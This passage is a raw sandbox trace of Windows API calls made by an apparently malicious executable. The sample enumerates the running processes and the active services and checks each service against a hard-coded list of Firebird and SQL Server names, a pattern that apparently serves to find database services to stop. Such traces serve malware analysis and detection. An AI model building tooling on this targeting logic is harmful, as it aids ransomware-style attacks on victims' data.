lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0167.610] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0167.610] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0167.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0167.610] lstrlenW (lpString="SysMain") returned 7 [0167.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0167.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0167.610] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0167.610] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0167.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0167.610] lstrlenW (lpString="SystemEventsBroker") returned 18 [0167.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0167.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0167.610] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0167.611] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0167.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0167.611] lstrlenW (lpString="Themes") returned 6 [0167.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0167.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0167.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0167.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0167.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0167.611] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0167.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0167.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0167.611] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0167.611] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0167.611] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0167.611] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x454 [0167.797] Process32FirstW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.797] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0167.798] lstrlenW (lpString="System") returned 6 [0167.798] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0167.798] lstrlenW (lpString="smss.exe") returned 8 [0167.798] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.799] lstrlenW (lpString="csrss.exe") returned 9 [0167.799] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0167.799] lstrlenW (lpString="wininit.exe") returned 11 [0167.800] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.800] lstrlenW (lpString="csrss.exe") returned 9 [0167.800] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0167.801] lstrlenW (lpString="winlogon.exe") returned 12 [0167.801] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0167.801] lstrlenW (lpString="services.exe") returned 12 [0167.801] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0167.802] lstrlenW (lpString="lsass.exe") returned 9 [0167.802] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0167.802] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0167.802] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0167.803] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0167.803] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.804] lstrlenW (lpString="svchost.exe") returned 11 [0167.804] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.804] lstrlenW (lpString="svchost.exe") returned 11 [0167.804] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0167.805] lstrlenW (lpString="dwm.exe") returned 7 [0167.805] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.805] lstrlenW (lpString="svchost.exe") returned 11 [0167.806] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.806] lstrlenW (lpString="svchost.exe") returned 11 [0167.806] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.807] lstrlenW (lpString="svchost.exe") returned 11 [0167.807] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.807] lstrlenW (lpString="svchost.exe") returned 11 [0167.807] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.808] lstrlenW (lpString="svchost.exe") returned 11 [0167.808] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.808] lstrlenW (lpString="svchost.exe") returned 11 [0167.808] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.808] lstrlenW (lpString="svchost.exe") returned 11 [0167.808] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.809] lstrlenW (lpString="svchost.exe") returned 11 [0167.809] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.809] lstrlenW (lpString="svchost.exe") returned 11 [0167.809] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.810] lstrlenW (lpString="svchost.exe") returned 11 [0167.810] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0167.811] lstrlenW (lpString="spoolsv.exe") returned 11 [0167.811] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.811] lstrlenW (lpString="svchost.exe") returned 11 [0167.811] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0167.812] lstrlenW (lpString="audiodg.exe") returned 11 [0167.812] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0167.812] lstrlenW (lpString="sihost.exe") returned 10 [0167.812] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.813] lstrlenW (lpString="svchost.exe") returned 11 [0167.813] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0167.813] lstrlenW (lpString="taskhostw.exe") returned 13 [0167.813] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0167.814] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0167.814] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0167.814] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0167.815] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0167.815] lstrlenW (lpString="Memory Compression") returned 18 [0167.815] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x43, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0167.816] lstrlenW (lpString="explorer.exe") returned 12 [0167.816] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0167.816] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0167.816] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0167.817] lstrlenW (lpString="SearchUI.exe") returned 12 [0167.817] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0167.817] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0167.818] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0167.818] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0167.818] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0167.819] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0167.819] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0167.819] lstrlenW (lpString="cmd.exe") returned 7 [0167.819] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0167.820] lstrlenW (lpString="conhost.exe") returned 11 [0167.820] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0167.820] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0167.820] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0167.821] lstrlenW (lpString="mode.com") returned 8 [0167.821] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0167.822] CloseHandle (hObject=0x454) returned 1 [0167.822] Sleep (dwMilliseconds=0x1f4) [0168.414] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408dc68 [0168.415] EnumServicesStatusExW (in: hSCManager=0x408dc68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0168.415] GetLastError () returned 0xea [0168.415] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4181fb8 [0168.415] EnumServicesStatusExW (in: hSCManager=0x408dc68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4181fb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4181fb8, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0168.417] CloseServiceHandle (hSCObject=0x408dc68) returned 1 [0168.417] lstrlenW (lpString="Appinfo") returned 7 [0168.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0168.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0168.417] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0168.417] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0168.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0168.417] lstrlenW (lpString="AppXSvc") returned 7 [0168.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0168.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0168.417] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0168.417] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0168.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0168.417] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0168.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.417] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0168.417] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0168.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0168.418] lstrlenW (lpString="Audiosrv") returned 8 [0168.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0168.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0168.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0168.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0168.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0168.418] lstrlenW (lpString="BFE") returned 3 [0168.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0168.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0168.418] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0168.418] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0168.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0168.418] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0168.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0168.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0168.418] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0168.418] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0168.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0168.418] lstrlenW (lpString="CDPSvc") returned 6 [0168.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0168.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0168.418] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0168.418] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0168.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0168.418] lstrlenW (lpString="ClickToRunSvc") returned 13 [0168.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0168.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0168.419] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0168.419] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0168.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0168.419] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0168.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0168.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0168.419] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0168.419] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0168.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0168.419] lstrlenW (lpString="CryptSvc") returned 8 [0168.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0168.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0168.419] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0168.419] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0168.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0168.419] lstrlenW (lpString="DcomLaunch") returned 10 [0168.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.419] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0168.419] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0168.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0168.419] lstrlenW (lpString="DeviceAssociationService") returned 24 [0168.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0168.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0168.419] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0168.419] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0168.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0168.419] lstrlenW (lpString="Dhcp") returned 4 [0168.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0168.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0168.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0168.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0168.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0168.420] lstrlenW (lpString="Dnscache") returned 8 [0168.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0168.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0168.420] lstrcmpiW (lpString1="sqlwriter", 